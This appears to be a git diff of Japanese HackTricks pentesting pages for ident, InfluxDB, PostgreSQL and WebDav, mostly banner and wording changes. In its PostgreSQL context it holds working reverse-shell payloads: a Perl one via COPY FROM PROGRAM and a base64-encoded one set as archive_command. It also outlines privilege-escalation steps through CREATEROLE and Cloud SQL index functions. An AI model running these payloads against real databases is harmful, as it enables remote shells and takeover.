![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワードされたワークフロー**を簡単に構築して自動化できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
特定の[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続のユーザーを識別するのに役立つ[インターネット](https://en.wikipedia.org/wiki/Internet)プロトコルです。
|
||||
特定の[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続のユーザーを識別するのに役立つ[インターネット](https://en.wikipedia.org/wiki/Internet) [プロトコル](https://en.wikipedia.org/wiki/Protocol\_\(computing\))です。
|
||||
|
||||
**デフォルトポート:** 113
|
||||
```
|
||||
|
@ -81,9 +81,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -111,10 +111,10 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 8086 - InfluxDBのペンテスト
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -12,8 +12,8 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
@ -26,7 +26,7 @@
|
|||
|
||||
**時系列データベース(TSDB)**は、時間と値の関連ペアを介して**時系列データを格納**および**提供**するために最適化されたソフトウェアシステムです。
|
||||
|
||||
時系列データセットは、他のデータセットと比較して**比較的大きく均一**であり、通常はタイムスタンプと関連データで構成されています。時系列データセットには、異なるテーブルのデータエントリ間の関係が少なく、エントリの無期限の保存が必要ではありません。時系列データセットの固有の特性により、時系列データベースは一般的な用途のデータベースに比べて**ストレージスペースとパフォーマンスの向上**を提供できます。たとえば、時系列データの均一性により、一般的なデータに対して設計された通常の圧縮アルゴリズムよりも**特殊な圧縮アルゴリズム**が改善を提供できます。時系列データベースはまた、定期的に古いデータを削除するように**設定できます**が、通常のデータベースはデータを無期限に保存するように設計されています。特別なデータベースインデックスもクエリのパフォーマンス向上を提供できます。([ここから](https://en.wikipedia.org/wiki/Time\_series\_database))
|
||||
時系列データセットは、他のデータセットと比較して**比較的大きく均一**であり、通常はタイムスタンプと関連データで構成されています。時系列データセットには、異なるテーブルのデータエントリ間の関係が少なく、エントリの無期限の保存が必要ではありません。時系列データセットの固有の特性により、時系列データベースは一般的な用途のデータベースに比べて**ストレージスペースとパフォーマンスの向上**を提供できます。たとえば、時系列データの均一性により、一般的なデータに対して設計された通常の圧縮アルゴリズムよりも**特殊な圧縮アルゴリズム**が改善を提供できます。時系列データベースはまた、定期的に古いデータを削除するように**設定できます**が、通常のデータベースはデータを無期限に保存するように設計されています。特別なデータベースインデックスもクエリのパフォーマンスを向上させることができます。([ここから](https://en.wikipedia.org/wiki/Time\_series\_database))
|
||||
|
||||
**デフォルトポート**: 8086
|
||||
```
|
||||
|
@ -57,7 +57,7 @@ influxdbには、認証をバイパスする脆弱性がありました:[**CVE
|
|||
|
||||
#### データベースの表示
|
||||
|
||||
見つかったデータベースは_telegraf_と_\_internal_(これはどこにでも見つかります)です。
|
||||
見つかったデータベースは_telegraf_と_\_internal_(これはどこでも見つかります)です。
|
||||
```bash
|
||||
> show databases
|
||||
name: databases
|
||||
|
@ -68,7 +68,7 @@ _internal
|
|||
```
|
||||
#### テーブル/測定値の表示
|
||||
|
||||
[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によれば、SQLの**測定値**はSQLのテーブルと考えることができます。上記の**測定値**の名前からもわかるように、それぞれの測定値には特定のエンティティに関連する情報が含まれています。
|
||||
[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によれば、SQLの**測定値**はSQLのテーブルと考えることができます。上記の**測定値**の名前が示すように、それぞれの測定値には特定のエンティティに関連する情報が含まれています。
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -85,7 +85,7 @@ system
|
|||
```
|
||||
#### カラム/フィールドキーの表示
|
||||
|
||||
フィールドキーはデータベースの**カラム**のようなものです。
|
||||
フィールドキーは、データベースの**カラム**のようなものです。
|
||||
```bash
|
||||
> show field keys
|
||||
name: cpu
|
||||
|
@ -108,7 +108,7 @@ inodes_used integer
|
|||
```
|
||||
#### テーブルのダンプ
|
||||
|
||||
そして、次のような方法で**テーブルのダンプ**を取得することができます。
|
||||
そして、次のような方法で**テーブルのダンプ**を行うことができます。
|
||||
```bash
|
||||
select * from cpu
|
||||
name: cpu
|
||||
|
@ -130,17 +130,17 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 5432,5433 - PostgreSQLのペンテスト
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -12,17 +12,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**PostgreSQL**は、SQL言語を使用しているオープンソースのオブジェクト関係データベースシステムです。
|
||||
**PostgreSQL**は、SQL言語を使用して拡張されたオープンソースのオブジェクトリレーショナルデータベースシステムです。
|
||||
|
||||
**デフォルトポート:** 5432で、このポートが既に使用されている場合、おそらく使用されていない次のポート(おそらく5433)がpostgresqlに使用されます。
|
||||
```
|
||||
|
@ -45,7 +45,7 @@ To connect using `psql`, open a terminal and run the following command:
|
|||
|
||||
Replace `<host>`, `<port>`, `<username>`, and `<database>` with the appropriate values for your PostgreSQL server.
|
||||
|
||||
`psql`を使用して接続するには、ターミナルを開き、次のコマンドを実行します。
|
||||
`psql`を使用して接続するには、ターミナルを開き、次のコマンドを実行します:
|
||||
|
||||
`psql -h <ホスト> -p <ポート> -U <ユーザ名> -d <データベース>`
|
||||
|
||||
|
@ -67,7 +67,7 @@ To list all the databases in the PostgreSQL server, use the following command:
|
|||
|
||||
`\l`
|
||||
|
||||
PostgreSQLサーバーのすべてのデータベースを一覧表示するには、次のコマンドを使用します。
|
||||
PostgreSQLサーバーのすべてのデータベースを一覧表示するには、次のコマンドを使用します:
|
||||
|
||||
`\l`
|
||||
|
||||
|
@ -81,7 +81,7 @@ To switch to a specific database, use the following command:
|
|||
|
||||
Replace `<database>` with the name of the database you want to switch to.
|
||||
|
||||
特定のデータベースに切り替えるには、次のコマンドを使用します。
|
||||
特定のデータベースに切り替えるには、次のコマンドを使用します:
|
||||
|
||||
`\c <データベース>`
|
||||
|
||||
|
@ -95,7 +95,7 @@ To list all the tables in the current database, use the following command:
|
|||
|
||||
`\dt`
|
||||
|
||||
現在のデータベースのすべてのテーブルを一覧表示するには、次のコマンドを使用します。
|
||||
現在のデータベースのすべてのテーブルを一覧表示するには、次のコマンドを使用します:
|
||||
|
||||
`\dt`
|
||||
|
||||
|
@ -109,7 +109,7 @@ To describe the structure of a specific table, use the following command:
|
|||
|
||||
Replace `<table>` with the name of the table you want to describe.
|
||||
|
||||
特定のテーブルの構造を説明するには、次のコマンドを使用します。
|
||||
特定のテーブルの構造を説明するには、次のコマンドを使用します:
|
||||
|
||||
`\d <テーブル>`
|
||||
|
||||
|
@ -123,9 +123,9 @@ You can execute SQL queries directly from the `psql` prompt. Simply type your SQ
|
|||
|
||||
`psql`プロンプトから直接SQLクエリを実行できます。SQLクエリを入力し、Enterキーを押して実行します。
|
||||
|
||||
For example, to select all rows from a table, use the following command:
|
||||
For example, to retrieve all records from a table, you can use the following command:
|
||||
|
||||
たとえば、テーブルからすべての行を選択するには、次のコマンドを使用します。
|
||||
たとえば、テーブルからすべてのレコードを取得するには、次のコマンドを使用します:
|
||||
|
||||
`SELECT * FROM <table>;`
|
||||
|
||||
|
@ -317,15 +317,31 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
|
||||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.
|
||||
|
||||
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within other functions.
|
||||
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within user-defined functions.
|
||||
|
||||
In addition to the built-in functions, PostgreSQL also allows users to create their own custom functions. Custom functions can be written in various programming languages, including SQL, PL/pgSQL, PL/Python, PL/Perl, and more. This flexibility allows developers to extend the functionality of PostgreSQL and create custom solutions tailored to their specific needs.
|
||||
To create a user-defined function in PostgreSQL, you can use the `CREATE FUNCTION` statement. This statement allows you to define the function name, input parameters, return type, and the code block that will be executed when the function is called.
|
||||
|
||||
When performing a penetration test on a PostgreSQL database, it is important to identify and analyze the functions that are exposed by the database. By understanding the functionality and behavior of these functions, a penetration tester can identify potential vulnerabilities and security weaknesses that can be exploited.
|
||||
Here is an example of creating a simple user-defined function that calculates the square of a number:
|
||||
|
||||
During the penetration testing process, it is common to analyze the input and output parameters of the functions, as well as the logic and flow of the code. This can help identify potential injection vulnerabilities, privilege escalation issues, and other security risks.
|
||||
```sql
|
||||
CREATE FUNCTION square(num INTEGER) RETURNS INTEGER AS $$
|
||||
BEGIN
|
||||
RETURN num * num;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
```
|
||||
|
||||
In conclusion, functions play a crucial role in PostgreSQL databases and can be a valuable target for penetration testers. By understanding the functionality and behavior of these functions, testers can identify and exploit potential vulnerabilities, helping to improve the overall security of the database.
|
||||
In this example, the function name is `square`, and it accepts a single input parameter `num` of type `INTEGER`. The function returns an `INTEGER` value, which is the square of the input number.
|
||||
|
||||
To call the `square` function and get the square of a number, you can use the following SQL query:
|
||||
|
||||
```sql
|
||||
SELECT square(5);
|
||||
```
|
||||
|
||||
This will return the value `25`, which is the square of `5`.
|
||||
|
||||
Functions in PostgreSQL can also have multiple input parameters and can return different data types. They can be used to encapsulate complex logic and calculations, making your SQL queries more modular and reusable.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -447,7 +463,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**そのグループのメンバーに自分自身を追加することができます:**
|
||||
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、自分自身をそのグループのメンバーにすることができます。
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -508,7 +524,7 @@ PostgreSQLの**設定ファイル**は、データベースを実行している
|
|||
一般的な手順は次のとおりです:
|
||||
|
||||
1. アーカイブモードが有効かどうかを確認する:`SELECT current_setting('archive_mode')`
|
||||
2. ペイロードで`archive_command`を上書きする。たとえば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. ペイロードで`archive_command`を上書きする。例えば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. 設定をリロードする:`SELECT pg_reload_conf()`
|
||||
4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出す:`SELECT pg_switch_wal()`または一部のPostgresバージョンでは`SELECT pg_switch_xlog()`
|
||||
|
||||
|
@ -571,10 +587,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### 悪用
|
||||
|
||||
1. 新しいテーブルを作成します。
|
||||
2. テーブルにいくつかのダミーコンテンツを挿入し、インデックス関数が処理するものを用意します。
|
||||
2. ダミーのコンテンツをテーブルに挿入し、インデックス関数が処理するものを用意します。
|
||||
3. テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
|
||||
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するために使用されます。
|
||||
5. テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者(cloudsqladmin)に切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
|
||||
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するためにのみ使用されます。
|
||||
5. テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者( cloudsqladmin )に切り替え、cloudsqladmin の権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
|
||||
|
||||
PostgreSQLでは、このフローは次のようになります:
|
||||
```sql
|
||||
|
@ -712,7 +728,7 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
クライアント認証は、_**pg\_hba.conf**_ という名前の設定ファイルで制御されます。このファイルには、いくつかのレコードがあります。レコードは次の7つの形式のいずれかを持つことができます。
|
||||
クライアント認証は、**pg\_hba.conf**という名前の設定ファイルで制御されます。このファイルには、いくつかのレコードがあります。レコードは次の7つの形式のいずれかを持つことができます。
|
||||
|
||||
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
|
||||
|
||||
|
@ -725,13 +741,13 @@ string pgadmin4.db
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください**。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# WebDav
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
